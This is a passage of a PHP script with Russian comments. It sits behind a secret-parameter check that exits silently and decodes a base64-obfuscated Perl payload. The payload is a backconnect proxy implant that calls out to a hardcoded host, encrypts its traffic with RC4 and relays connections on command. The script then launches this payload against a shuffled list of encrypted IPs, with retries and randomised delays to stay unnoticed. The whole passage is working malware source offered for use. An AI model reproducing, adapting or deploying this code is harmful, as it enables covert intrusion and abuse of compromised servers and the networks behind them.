    return is_already_running($ip);
}

// Рекурсивный запуск с повторными попытками
function recursive_launch($ips, $perl_code, &$stats, $method_index = 0) {
    if (empty($ips)) {
        return;
    }

    $ip = $ips[0];
    $remaining = array_slice($ips, 1);

    // Проверяем, не запущен ли уже
    if (is_already_running($ip)) {
        $stats['skipped']++;

        // Рекурсивно запускаем следующие
        recursive_launch($remaining, $perl_code, $stats, $method_index);
        return;
    }

    // Пытаемся запустить
    $attempts = 0;
    $launched = false;

    while ($attempts < MAX_RETRIES && !$launched) {
        $attempts++;

        if (launch_process($ip, $perl_code)) {
            $stats['started']++;
            $launched = true;

            // Если удалось запустить - используем ЭТОТ ЖЕ метод для следующих
            recursive_launch($remaining, $perl_code, $stats, $method_index);
            return;
        }

        // Пауза перед следующей попыткой
        if ($attempts < MAX_RETRIES) {
            usleep(rand(200000, 500000)); // 0.2-0.5 сек
        }
    }

    if (!$launched) {
        $stats['failed']++;

        // Пробуем следующий метод для этого IP
        $method_index++;
        if ($method_index < 3) { // 3 разных подхода
            $remaining_with_retry = array_merge(array($ip), $remaining);
            recursive_launch($remaining_with_retry, $perl_code, $stats, $method_index);
        } else {
            // Все методы испробованы - идем дальше
            recursive_launch($remaining, $perl_code, $stats, 0);
        }
        return;
    }
}

// ================= ОСНОВНОЙ КОД =================

// Проверка секретного ключа
if (!isset($_GET['secret']) || $_GET['secret'] !== SECRET) {
    // Тихий выход - ничего не выводим
    exit;
}

// Отключаем всё

@ignore_user_abort(true);
set_time_limit(300); // 5 минут

// Начальная большая пауза (чтобы не перегрузить сервер)
usleep(INITIAL_SLEEP);

// Декодируем Perl
$perl_code = base64_decode('IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2UgRmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzE5Mi4xNjguMS4xJzsKbXkgJHBvcnQgPSA0NDM7CgokU0lHe1BJUEV9ID0gJ0lHTk9SRSc7CiRTSUd7SFVQfSA9ICdJR05PUkUnOwokU0lHe0NITER9ID0gJ0lHTk9SRSc7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsKCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoKCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7CgoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCgkgbXkgJHBvY2tlbW9uMCA9IDA7CgoJIG15ICRwb2NrZW1vbjEgPSAwOwoKCSBteSAkcG9ja2Vtb24yID0gMDsKCgkgbXkgJHBvY2tlbW9uMyA9IDA7CgoJIG15ICRwb2NrZW1vbjQgPSAwOwoKCSBteSAkcG9ja2Vtb243ID0gMDsKCgkgbXkgJHBvY2tlbW9uOCA9IDA7CgoJIG15ICRyY3ggPSAkc3o7CgoJIG15ICRyc2kgPSAwOwoKCSBteSAkcmJ4ID0gMDsKCgkgbXkgJGdzID0gMDsKCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgoJIGRvIHsKCgkJIHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSA9ICh2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkgXiB2ZWMoJCRwYXNzdywgJHJieCwgOCkpOwoKCQkgJHJzaSsrOwoKCQkgJHJieCsrOwoKCQkgJHJjeC0tOwoKCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgewoKCQkJICRyYnggPSAwOwoJCX0KCgl9IHdoaWxlKCRyY3ggPiAwKTsKCgoJIHdoaWxlKDEpIHsKCgkJIGlmICgkZ3MgPT0gMCkgewoKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCgkJIGlmICgkZ3MgIT0gMCkgewoKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgoJCX0KCgkJICRwb2NrZW1vbjcgPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBhc3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgoJCSBpZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgoJCQkgJGdzID0gMTsKCgkJCSBuZXh0OwoJCX0KCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0gMDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24zID0gMDsKCgkJIHdoaWxlKDEpIHsKCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsKCgkJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMiwgOCkgPSAkcG9ja2Vtb244OwoKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoKCQkJIHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24zLCA4KSA9IHZlYygkcmM0LCAkcG9ja2Vtb244LCA4KSBeIHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24zLCA4KTsKCgkJCSAkcG9ja2Vtb24zKys7CgoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJIGxhc3Q7CgkJCSB9CgoJCX0KCgkJIGxhc3Q7Cgl9CgoJICRyc2kgPSAwOwoKCSAkcmN4ID0gJHN6OwoKCSAkcmJ4ID0gMDsKCgkgZG8gewoKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgoJCSAkcnNpKys7CgoJCSAkcmJ4Kys7CgoJCSAkcmN4LS07CgoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgoJCQkgJHJieCA9IDA7CgkJfQoKCX0gd2hpbGUoJHJjeCA+IDApOwoKfQoKc3ViIHN5bnNlbmQgewoKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCgkgbXkgJGJ1ZmZlciA9IHNoaWZ0KEBfKTsKCgkgbXkgJGxlbmd0aAk9IHNoaWZ0KEBfKTsKCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoKCSAjID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CgoJIHN5c3dyaXRlKCRjU29ja2V0LCAkYnVmZmVyLCAkbGVuZ3RoLCAkb2Zmc2V0KTsKCgkgIyA9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgkZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgoJbXkgJG51bSA9IHNoaWZ0KEBfKTsKCglteSAkc1NvY2tldCA9IHNoaWZ0KEBfKTsKCglteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgoJbXkgJHJlc3BvbmNlID0gcGFjaygnQycsICRudW0pLiJceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoKCW15ICRkb21haW4gPSAnJzsKCglteSAkcG9ydCA9IDA7CgoJbXkgJF9yZXQgPSAwOwoKCW15ICRkYXRhID0gJyc7CgoJbXkgJGJ1ZmZlciA9ICcnOwoKCW15ICRzdHJfd2VjID0gIlx4MDBceDAwIjsKCglteSAkYnVmZmVyMSA9ICJceDAwIiB4IDY1NTM2OwoKCXNldHNvY2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgoJc2V0c29ja29wdCgkY1NvY2tldCwgU09MX1NPQ0tFVCwgU09fUkNWQlVGLCA2NTUzNik7CgoJc2V0c29ja29wdCgkY1NvY2tldCwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgoJZmNudGwoJGNTb2NrZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoKCWZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBPX05PTkJMT0NLKTsKCglpZiAodmVjKCRidWZmMCwgNywgOCkgPT0gMykgewoKCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwgdmVjKCRidWZmMCwgOCwgOCkpOwoKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwgOSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgoJCXN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIoJGJ1ZmYwLCA5ICsgdmVjKCRidWZmMCwgOCwgOCkgKyAxLCAxKTsKCgkJJHBvcnQgPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsKCX0KCgllbHNpZiAodmVjKCRidWZmMCwgNywgOCkgPT0gMSkgewoKCQkkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmYwLCA4ICsgMCwgOCksIHZlYygkYnVmZjAsIDggKyAxLCA4KSwgdmVjKCRidWZmMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMywgOCkpOwoKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwgMTIgKyAwLCAxKTsKCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgoJCSRwb3J0ID0gIHZlYygkc3RyX3dlYywgMCwgMTYpOwoKCX0KCgllbHNlIHsKCgkJZ290byBjbG9zZV87Cgl9CgoJIGV2YWwgewoKCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGluZXRfYXRvbigkZG9tYWluKSk7CgoJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoKCQkgdmVjKG15ICR3aW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoKCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxMCkpIHsgZ290byBjbG9zZV87IH0KCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCgkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoKCQkgZmNudGwoJGNTb2NrZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSBeIE9fTk9OQkxPQ0spOwoKCQkgJF9yZXQgPSAxOwoKCSB9OwoKCSBjbG9zZV86CgoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDMsIDEwKTsKCgkgc3luc2VuZCgkc1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgoJIGlmICgkX3JldCA9PSAxKSB7CgoJCSB3aGlsZSAoMSkgewoKCQkJIHZlYyhteSAkcmluID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxlc3MgKHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDEpKSB7IG5leHQ7IH0KCgkJCSAkZGF0YSA9IHN5c3JlYWQoJGNTb2NrZXQsICRidWZmZXIxLCA2NTUzMCwgMyk7CgoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0KCgkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJG51bTsKCgkJCSB2ZWMoJHN0cl93ZWMsIDAsIDE2KSA9ICRkYXRhOwoKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoKCQkJIHN1YnN0cigkYnVmZmVyMSwgMiwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDAsIDEpOwoKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDAsIDMpOwoKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDMsICRkYXRhKTsKCgkJCSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyMSwgMyArICRkYXRhLCAwKTsKCQl9Cgl9CgoJIGNsb3NlKCRjU29ja2V0KTsKCgkgdmVjKCRyZXNwb25jZSwgMCwgOCkgPSAkbnVtOwoKCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCgkgc3luc2VuZCgkc1NvY2tldCwgJHJlc3BvbmNlLCAzLCAwKTsKfQoKc3ViIGJjY25jdCB7CgoJIG15ICRob3N0ID0gc2hpZnQoQF8pOwoKCSBteSAkcG9ydCA9IHNoaWZ0KEBfKTsKCgkgbXkgJHJlbWFpbmluZyA9IDA7CgoJIG15ICRyZW1haW5pbmc0ID0gMDsKCgkgbXkgQHNvY2tldGFycjsKCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoKCSBteSAkYnVmZmVyMCA9ICJceDAwIiB4IDY1NTM2OwoKCSBteSAkaXNFeGl0ID0gMDsKCgkgbXkgJGVjeCA9IDA7CgoJIG15ICRlYXggPSAwOwoKCSBteSAkZGF0YSA9ICcnOwoKCSBteSAkX3JldCA9IDA7CgoJIG15ICRlYnggPSAwOwoKCSBteSAkZWR4ID0gMDsKCgkgbXkgJHN0cl93ZWMgPSAiXHgwMFx4MDAiOwoKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09DS19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgoJIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCiAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0b24oJCRob3N0KSk7CgoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCgkgc3Vic3RyKCRidWZmZXIsIDAsIDUwKSA9ICR4b3JkYXRhOwoKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoKCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7CgoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgoJIHdoaWxlKDEpIHsKCgkJIGlmICgkcmVtYWluaW5nNCAhPSA0KSB7CgoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgoJCQkgdW5sZXNzKHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDYwKSkgewoKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJceDAwXHgwMFx4MDAiKTsKCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZyAhPSAwKTsKCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgoJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoKCQkJCSBzeW5zZW5kKCRzb2NrZXRhcnJbMF0sICRidWZmZXJudWxsLCBsZW5ndGgoJGJ1ZmZlcm51bGwpLCAwKTsKCgkJCQkgbmV4dDsKCQkJfQoKCQl9CgoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoKCQkJCQkgJGlzRXhpdCA9IDE7CgoJCQkJCSBsYXN0OwoKCQkJCX0KCgkJCQkgZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgZGVmaW5lZCgkc29ja2V0YXJyWyRlYnhdKSkgewoKCQkJCQkgc2h1dGRvd24oJHNvY2tldGFyclskZWJ4XSwgMCk7CgoJCQkJfQoKCQkJfQoKCQkJZWxzZSB7CgoJCQkJICRlY3ggPSAkZWR4OwoKCQkJCSAkZWN4ID0gJGVjeCAtICRyZW1haW5pbmc7CgoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwgJHJlbWFpbmluZyArIDQpOwoKCQkJCSB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0KCgkJCQkgJHJlbWFpbmluZyArPSAkZGF0YTsKCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoKCQkJCQkJIG15ICRwaWQgPSBmb3JrKCk7CgoJCQkJCQkgaWYgKCFkZWZpbmVkICRwaWQpIHsKCgkJCQkJCQkgZGllICJDYW5ub3QgZm9yayBhIGNoaWxkOiAkISI7CgkJCQkJCSB9CgoJCQkJCQkgZWxzaWYgKCRwaWQgPT0gMCkgewoKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCgkJCQkJCQkgZXhpdCAwOwoJCQkJCQkgfQoJCQkJCX0KCgkJCQkJIGVsc2UgewoKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCgkJCQkJfQoKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgoJCQl9CgoJCQkgJHJlbWFpbmluZzQgPSAwOwoKCQl9CgoJCWVsc2UgewoKCQkJICRlYXggPSA0OwoKCQkJICRlYXggPSAkZWF4IC0gJHJlbWFpbmluZzQ7CgoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgoJCQkgJHJlbWFpbmluZzQgKz0gJGRhdGE7CgoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgoJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoKCQkJCSAkZWJ4ID0gdmVjKCRidWZmZXIwLCAxLCA4KTsKCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDEpOwoKCQkJCSAkZWR4ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgoJCQkJICRfcmV0ID0gMTsKCQkJfQoKCQl9Cgl9CgoJIGNsb3NlMDoKCgkgY2xvc2UoJHNvY2tldGFyclswXSk7CgoJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgeyBpZiAoZGVmaW5lZCgkc29ja2V0YXJyWyRpXSkpIHsgc2h1dGRvd24oJHNvY2tldGFyclskaV0sIDApOyB9IH0KCgkgc2xlZXAgMTA7CgoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCgkgc2xlZXAgMTgwOwp9Cg==');

// Декодируем IP
$ips = array();
foreach ($IPS_ENCRYPTED as $encrypted) {
    $ip = decrypt_ip($encrypted);
    if ($ip) {
        $ips[] = $ip;
    }
}

// СЛУЧАЙНЫЙ ПОРЯДОК КАЖДЫЙ РАЗ
// Используем микросекунды для seed
srand((int)(microtime(true) * 1000000) % 1000000);
shuffle($ips);

// Дополнительное перемешивание для максимальной случайности
$count = count($ips);
for ($i = 0; $i < $count; $i++) {
    $j = rand(0, $count - 1);
    $temp = $ips[$i];
    $ips[$i] = $ips[$j];
    $ips[$j] = $temp;
}

// Статистика
$stats = array(
    'started' => 0,
    'skipped' => 0,
    'failed' => 0,
    'total' => $count
);

// Запускаем рекурсивно
recursive_launch($ips, $perl_code, $stats);

// ВЫВОД РЕЗУЛЬТАТА
$result = array(
    'status' => 'complete',
    'stats' => $stats,
    'time' => time(),
    'order' => 'random_' . (rand(1000, 9999))
);
echo json_encode($result);

// ================= АВТО-ПОВТОР =================
// После завершения можно автоматически запустить себя снова
// с другими IP или через некоторое время

// Пауза перед возможным повторным запуском
usleep(rand(2000000, 5000000)); // 2-5 секунд

// Опционально: автоматический рестарт для неудачных
if ($stats['failed'] > 0 && $stats['failed'] < $count) {
    // Создаем массив только неудачных IP
    $failed_ips = array();
    foreach ($ips as $ip) {
        if (!is_already_running($ip)) {
            $failed_ips[] = $ip;
        }
    }

    // Если есть неудачные - пробуем еще раз
    if (!empty($failed_ips)) {
        shuffle($failed_ips);
        $retry_stats = array('started' => 0, 'skipped' => 0, 'failed' => 0);

        foreach ($failed_ips as $ip) {
            for ($attempt = 0; $attempt < MAX_RETRIES; $attempt++) {
                if (launch_process($ip, $perl_code)) {
                    $retry_stats['started']++;
                    break;
                }
                usleep(rand(MIN_SLEEP, MAX_SLEEP));
            }
            if ($attempt >= MAX_RETRIES) {
                $retry_stats['failed']++;
            }
            usleep(rand(MIN_SLEEP, MAX_SLEEP));
        }

        // Дополнительный вывод в лог
        @error_log("ULTIMATE Auto-retry: " . json_encode($retry_stats));
    }
}

// Завершаем работу
exit;
?>